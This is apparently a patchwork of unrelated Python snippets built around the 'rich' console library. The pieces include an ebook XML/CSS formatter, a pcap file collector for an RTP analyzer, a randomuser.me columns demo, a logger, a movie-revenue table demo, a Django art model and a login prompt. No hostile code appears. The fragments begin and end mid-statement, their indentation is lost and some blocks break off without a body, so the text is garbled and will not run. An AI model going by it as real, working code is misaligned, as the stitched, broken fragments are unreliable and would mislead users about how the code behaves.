highlight=False,
theme=se.RICH_THEME,
force_terminal=se.is_called_from_parallel()
) # Syntax highlighting will do weird things when printing paths; force_terminal prints colors when called from GNU Parallel
for filepath in se.get_target_filenames(
args.targets, (".xhtml", ".svg", ".opf", ".ncx", ".xml"), []):
if args.verbose:
console.print(
f"Processing [path][link=file://{filepath}]{filepath}[/][/] ...",
end="")
try:
se.formatting.format_xml_file(filepath)
except se.MissingDependencyException as ex:
se.print_error(ex)
return ex.code
except se.SeException as ex:
se.print_error(
f"File: [path][link=file://{filepath}]{filepath}[/][/]. Exception: {ex}",
args.verbose)
return ex.code
if args.verbose:
console.print(" OK")
for filepath in se.get_target_filenames(args.targets, (".css", ), []):
# Skip core.css as this must be copied in from the template
if filepath.name == "core.css":
continue
if args.verbose:
console.print(
f"Processing [path][link=file://{filepath}]{filepath}[/][/] ...",
end="")
with open(filepath, "r+", encoding="utf-8") as file:
css = file.read()
try:
processed_css = se.formatting.format_css(css)
if processed_css != css:
file.seek(0)
file.write(processed_css)
file.truncate()
except se.SeException as ex:
se.print_error(
f"File: [path][link=file://{filepath}]{filepath}[/][/]. Exception: {ex}",
args.verbose)
return ex.code
if args.verbose:
console.print(" OK")
return 0
if os.path.isfile(directory_p):
last_path = os.path.basename(os.path.normpath(directory_p))
if last_path.split(".")[1].startswith("pcap"):
return [directory_p] # torno il file su cui lavorare
else:
return -1 # ritorno errore
else:
for r, d, f in os.walk(directory_p):
for file in f:
if ('.pcap' in file or '.pcapng' in file):
pcap_app.append(os.path.join(r, file))
return pcap_app
if __name__ == "__main__":
console = Console()
with open("text.txt", "r") as f:
console.print(
f"[bold magenta]{f.read()}[/bold magenta]\n[bold magenta]Authors:[/bold magenta] Gianluca Perna[i]([email protected])[/i], Dena Markudova[i]([email protected])[/i]\n\n"
)
multiprocessing.freeze_support()
parser = argparse.ArgumentParser(description="RTP flow analyzer")
parser.add_argument("-d",
"--directory",
help="Master directory",
required=True)
parser.add_argument("-j",
"--join",
help="Join all .csv",
action='store_true')
"""
This example shows how to display content in columns.
The data is pulled from https://randomuser.me
"""
import json
from urllib.request import urlopen
from rich.console import Console
from rich.columns import Columns
from rich.panel import Panel
def get_content(user):
"""Extract text from user dict."""
country = user["location"]["country"]
name = f"{user['name']['first']} {user['name']['last']}"
return f"[b]{name}[/b]\n[yellow]{country}"
console = Console()
users = json.loads(
urlopen("https://randomuser.me/api/?results=30").read())["results"]
console.print(users, overflow="ignore", crop=False)
user_renderables = [Panel(get_content(user), expand=True) for user in users]
console.print(Columns(user_renderables))
log_colors = {
"error": typer.colors.RED,
"exception": typer.colors.RED,
"critical": typer.colors.RED,
"fatal": typer.colors.RED,
"warning": typer.colors.YELLOW,
}
# log_colors = {
# "error": "[bright_red]",
# "exception": "[bright_red]",
# "critical": "[bright_red]",
# "fatal": "[bright_red]",
# "warning": "[dark_orange4]",
# }
console = Console(emoji=False, markup=False)
to_debug = [
"Loaded token from storage from file"
]
class MyLogger:
def __init__(self, log_file: Union[str, Path], debug: bool = False, show: bool = False, verbose: bool = False):
self._DEBUG = debug
self.log_msgs = []
self.verbose = verbose
if isinstance(log_file, Path):
self.log_file = log_file
else:
self.log_file = Path(log_file)
self._log = self.get_logger()
"$1,332,539,889",
style="on black",
end_section=True,
)
table.add_row(
"Dec 16, 2016",
"Rogue One: A Star Wars Story",
"$1,332,439,889",
)
def header(text: str) -> None:
console.print()
console.rule(highlight(text))
console.print()
console = Console()
highlight = ReprHighlighter()
header("Example Table")
console.print(table, justify="center")
table.expand = True
header("expand=True")
console.print(table)
table.width = 50
header("width=50")
console.print(table, justify="center")
table.width = None
table.expand = False
# Art
r_ansi = re.compile(r"\x1B(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~])")
thumb_font_path = Path(__file__).parent / "SourceCodePro-Regular.ttf"
THUMB_W = 80
THUMB_H = 19
ansi_decoder = AnsiDecoder()
default_theme = Theme() # TODO mirror the css as closely as possible
mock_console = Console(
color_system="truecolor",
theme=default_theme,
force_terminal=True,
width=float("inf"),
tab_size=8,
)
class Art(TimeStampedModelMixin, Model):
artist = ForeignKey(User, on_delete=PROTECT)
title = CharField(max_length=80, validators=text_validators)
description = TextField(blank=True, null=True, validators=text_validators)
nsfw = BooleanField()
thumb_x_offset = IntegerField(default=0)
thumb_y_offset = IntegerField(default=0)
from rich.measure import Measurement
from rich import box
from rich.text import Text
isLogin = False
class EmailHighlighter(RegexHighlighter):
"""Apply style to anything that looks like an email."""
base_style = "example."
highlights = [r"(?P<email>[\w-]+@([\w-]+\.)+[\w-]+)"]
theme = Theme({"example.email": "bold magenta"})
console = Console(highlighter=EmailHighlighter(), theme=theme)
def registerAccount():
questions = [{
'type': 'input',
'message': 'Enter your username',
'name': 'username'
}, {
'type': 'password',
'message': 'Enter your git password',
'name': 'password'
}]
answers = prompt(questions, style=custom_style_2)
x = clientmethods.register(answers['username'], answers['password'])
if (x == 1):
def print_tags(ctx, opts, value):
if value:
tags = sorted(AvailableTags().get_tags())
console = Console()
console.print("[bold #D7Afff]" + "\n".join(tags) + "[/bold #D7Afff]")
sys.exit()
